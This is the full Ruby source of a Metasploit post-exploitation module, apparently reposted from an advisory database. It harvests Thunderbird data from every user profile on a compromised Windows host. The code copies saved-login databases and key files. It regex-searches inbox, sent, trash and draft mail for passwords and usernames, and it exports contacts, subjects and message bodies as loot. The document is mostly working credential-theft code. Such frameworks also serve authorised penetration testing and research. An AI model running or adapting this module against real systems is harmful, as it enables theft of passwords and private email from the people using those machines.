Thunderbird Credential Gatherer
🗓️ 28 Sep 2021 17:42:14Reported by Kazuyoshi Maruta, Daniel Hallsworth, Barwar Salim M, Z. Cliffe SchreudersType
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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Post
include Msf::Post::File
include Msf::Post::Windows::UserProfiles
include Msf::Post::Windows::Packrat
ARTIFACTS =
{
application: 'thunderbird',
app_category: 'emails',
gatherable_artifacts: [
{
filetypes: 'logins',
path: 'AppData',
dir: 'Thunderbird',
artifact_file_name: 'signons.sqlite',
description: "Thunderbird's saved Username and Passwords",
credential_type: 'sqlite',
sql_search: [
{
sql_description: "Database Commands which exports Thunderbird's Login data",
sql_table: 'logins',
sql_column: 'username_value, action_url'
}
]
},
{
filetypes: 'logins',
path: 'AppData',
dir: 'Thunderbird',
artifact_file_name: 'key3.db',
description: "Thunderbird's saved Username and Passwords",
credential_type: 'binary'
},
{
filetypes: 'logins',
path: 'AppData',
dir: 'Thunderbird',
artifact_file_name: 'cert8.db',
description: "Thunderbird's saved Username and Passwords",
credential_type: 'binary'
},
{
filetypes: 'received_emails',
path: 'AppData',
dir: 'Thunderbird',
artifact_file_name: 'Inbox',
description: "Thunderbird's received emails",
credential_type: 'text',
regex_search: [
{
extraction_description: 'Searches for credentials (USERNAMES/PASSWORDS)',
extraction_type: 'credentials',
regex: [
'(?i-mx:password.*)',
'(?i-mx:username.*)'
]
},
{
extraction_description: 'searches for Email TO/FROM address',
extraction_type: 'Email addresses',
regex: [
'(?i-mx:to:.*)',
'(?i-mx:from:.*)'
]
}
]
},
{
filetypes: 'sent_emails',
path: 'AppData',
dir: 'Thunderbird',
artifact_file_name: 'Sent',
description: "Thunderbird's sent emails",
credential_type: 'text',
regex_search: [
{
extraction_description: 'Searches for credentials (USERNAMES/PASSWORDS)',
extraction_type: 'credentials',
regex: [
'(?i-mx:password.*)',
'(?i-mx:username.*)'
]
},
{
extraction_description: 'searches for Email TO/FROM address',
extraction_type: 'Email addresses',
regex: [
'(?i-mx:to:.*)',
'(?i-mx:from:.*)'
]
}
]
},
{
filetypes: 'deleted_emails',
path: 'AppData',
dir: 'Thunderbird',
artifact_file_name: 'Trash',
description: "Thunderbird's Deleted emails",
credential_type: 'text',
regex_search: [
{
extraction_description: 'Searches for credentials (USERNAMES/PASSWORDS)',
extraction_type: 'credentials',
regex: [
'(?i-mx:password.*)',
'(?i-mx:username.*)'
]
},
{
extraction_description: 'searches for Email TO/FROM address',
extraction_type: 'Email addresses',
regex: [
'(?i-mx:to:.*)',
'(?i-mx:from:.*)'
]
}
]
},
{
filetypes: 'draft_emails',
path: 'AppData',
dir: 'Thunderbird',
artifact_file_name: 'Drafts',
description: "Thunderbird's unsent emails",
credential_type: 'text',
regex_search: [
{
extraction_description: 'Searches for credentials (USERNAMES/PASSWORDS)',
extraction_type: 'credentials',
regex: [
'(?i-mx:password.*)',
'(?i-mx:username.*)'
]
},
{
extraction_description: 'searches for Email TO/FROM address',
extraction_type: 'Email addresses',
regex: [
'(?i-mx:to:.*)',
'(?i-mx:from:.*)'
]
}
]
},
{
filetypes: 'database',
path: 'AppData',
dir: 'Thunderbird',
artifact_file_name: 'global-messages-db.sqlite',
description: 'emails info',
credential_type: 'sqlite',
sql_search: [
{
sql_description: 'Database Commands which exports Contacts',
sql_table: 'contacts',
sql_column: 'name'
},
{
sql_description: 'Conversation Subject',
sql_table: 'conversations',
sql_column: 'subject'
},
{
sql_description: 'email address identities',
sql_table: 'identities',
sql_column: 'value'
},
{
sql_description: "Email's",
sql_table: 'messagesText_content',
sql_column: 'c3author, c4recipients, c1subject, c0body'
}
]
}
]
}.freeze
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Thunderbird Credential Gatherer',
'Description' => %q{
This module searches for Thunderbird credentials on a Windows host.
},
'License' => MSF_LICENSE,
'Author' => [
'Kazuyoshi Maruta',
'Daniel Hallsworth',
'Barwar Salim M',
'Z. Cliffe Schreuders', # http://z.cliffe.schreuders.org
],
'Platform' => ['win'],
'SessionTypes' => ['meterpreter'],
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [],
'SideEffects' => []
}
)
)
register_options(
[
OptRegexp.new('REGEX', [false, 'Match a regular expression', '^password']),
OptBool.new('STORE_LOOT', [false, 'Store artifacts into loot database', true]),
OptBool.new('EXTRACT_DATA', [false, 'Extract data and stores in a separate file', true]),
# enumerates the options based on the artifacts that are defined below
OptEnum.new('ARTIFACTS', [false, 'Type of artifacts to collect', 'All', ARTIFACTS[:gatherable_artifacts].map { |k| k[:filetypes] }.uniq.unshift('All')])
]
)
end
def run
print_status('Filtering based on these selections: ')
print_status("ARTIFACTS: #{datastore['ARTIFACTS'].capitalize}")
print_status("STORE_LOOT: #{datastore['STORE_LOOT']}")
print_status("EXTRACT_DATA: #{datastore['EXTRACT_DATA']}\n")
# used to grab files for each user on the remote host
grab_user_profiles.each do |userprofile|
run_packrat(userprofile, ARTIFACTS)
end
print_status 'PackRat credential sweep completed'
end
end
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